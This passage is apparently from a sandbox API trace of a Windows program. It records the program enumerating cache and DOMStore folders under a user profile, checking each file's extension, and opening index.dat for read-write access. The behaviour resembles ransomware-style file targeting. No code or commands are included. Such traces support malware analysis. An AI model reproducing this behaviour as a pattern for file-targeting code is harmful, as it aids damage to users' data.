lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefaf7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefaf7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaec313e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", cAlternateFileName="7D266D~1")) returned 1 [0127.828] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned="" [0127.828] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6056b480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6056b480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1ef687a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", cAlternateFileName="8059E9~3")) returned 1 [0127.828] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned="" [0127.828] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61210960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61210960, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaecc9960, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", cAlternateFileName="80273C~1")) returned 1 [0127.828] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned="" [0127.828] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58e24200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58e24200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9f5f40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", cAlternateFileName="8059E9~2")) returned 1 [0127.829] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned="" [0127.829] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned="" [0127.829] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned="" [0127.829] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned="" [0127.829] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned="" [0127.829] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned="" [0127.829] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned="" [0127.829] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned="" [0127.829] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned="" [0127.829] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned="" [0127.829] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned="" [0127.829] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned="" [0127.829] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015") returned="" [0127.829] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned="" [0127.830] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned="" [0127.830] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned="" [0127.830] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned="" [0127.830] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned="" [0127.830] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned="" [0127.830] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned="" [0127.831] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned="" [0127.831] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned="" [0127.831] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned="" [0127.831] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned="" [0127.831] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned="" [0127.831] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned="" [0127.831] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned="" [0127.831] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned="" [0127.831] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned="" [0127.831] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned="" [0127.831] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned="" [0127.831] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F90F18257CBB4D84216AC1E1F3BB2C76") returned="" [0127.831] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.832] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.832] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.832] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.835] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned="" [0127.835] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned="" [0127.835] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned="" [0127.835] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1DAF2884EC4DFA96BA4A58D4DBC9C406") returned="" [0127.835] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\23B523C9E7746F715D33C6527C18EB9D") returned="" [0127.835] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3130B1871A126520A8C47861EFE3ED4D") returned="" [0127.835] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned="" [0127.835] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned="" [0127.836] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned="" [0127.836] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned="" [0127.836] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned="" [0127.836] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned="" [0127.836] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned="" [0127.836] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD") returned="" [0127.836] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned="" [0127.836] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21") returned="" [0127.836] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned="" [0127.836] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="" [0127.836] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned="" [0127.840] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned="" [0127.840] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned="" [0127.840] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned="" [0127.840] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned="" [0127.840] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned="" [0127.840] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned="" [0127.840] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned="" [0127.840] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned="" [0127.840] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned="" [0127.840] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned="" [0127.840] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned="" [0127.840] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned="" [0127.840] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned="" [0127.840] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned="" [0127.841] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned="" [0127.841] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned="" [0127.841] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015") returned="" [0127.841] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned="" [0127.841] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned="" [0127.841] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned="" [0127.841] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned="" [0127.841] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned="" [0127.841] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned="" [0127.841] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned="" [0127.842] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned="" [0127.842] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned="" [0127.842] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned="" [0127.842] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned="" [0127.842] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned="" [0127.842] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned="" [0127.842] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned="" [0127.842] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned="" [0127.842] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned="" [0127.842] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned="" [0127.842] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned="" [0127.842] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76") returned="" [0127.842] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.843] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.843] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.843] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.844] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat") returned=".dat" [0127.844] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 